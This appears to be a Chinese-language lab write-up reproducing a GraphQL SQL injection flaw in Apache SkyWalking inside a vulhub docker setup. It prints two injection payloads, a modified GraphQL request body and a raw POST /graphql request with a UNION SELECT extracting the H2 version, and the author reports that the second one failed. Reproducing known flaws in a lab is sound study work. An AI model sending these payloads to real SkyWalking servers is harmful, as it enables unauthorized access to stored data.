漏洞描述
Apache SkyWalking 是一款应用性能监控(APM)工具,对微服务、云原生和容器化应用提供自动化、高性能的监控方案。当Apache SkyWalking使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。
影响版本
Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0
实验工具:docker搭配vulhub-master,burpsuite、Firefox
漏洞复现
进入到/vulhub-master/skywalking/8.3.0-sqli文件夹下,创建所需环境
#docker-compose up -d
随后在物理机上访问你的 ip:端口号(默认8080),进入到Apache-Skywalking页面:
使用burpsuite抓包,抓取到的报如下:
修改数据包的请求体:
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"sqli",
"state":"ALL",
"paging":{
"pageSize":10
}
}
}
}
如图提交POC之后爆出了h2的版本:
网络上很多都是使用另一种POC
POST /graphql HTTP/1.1
Host: ip:8080
Content-Type: application/json;charset=utf-8
Content-Length: 313
Connection: close
{"query":"query queryData($duration: Duration!) {globalP99: getLinearIntValues(metric: {name: \"all_p99\", id: \"') UNION ALL SELECT NULL,CONCAT('~', H2VERSION(), '~')--\" }, duration: $duration) { values { value } }}","variables":{"duration":{"start":"2020-08-07 1417","end":"2020-08-07 1418","step":"MINUTE"}}}
但是我并未复现成功。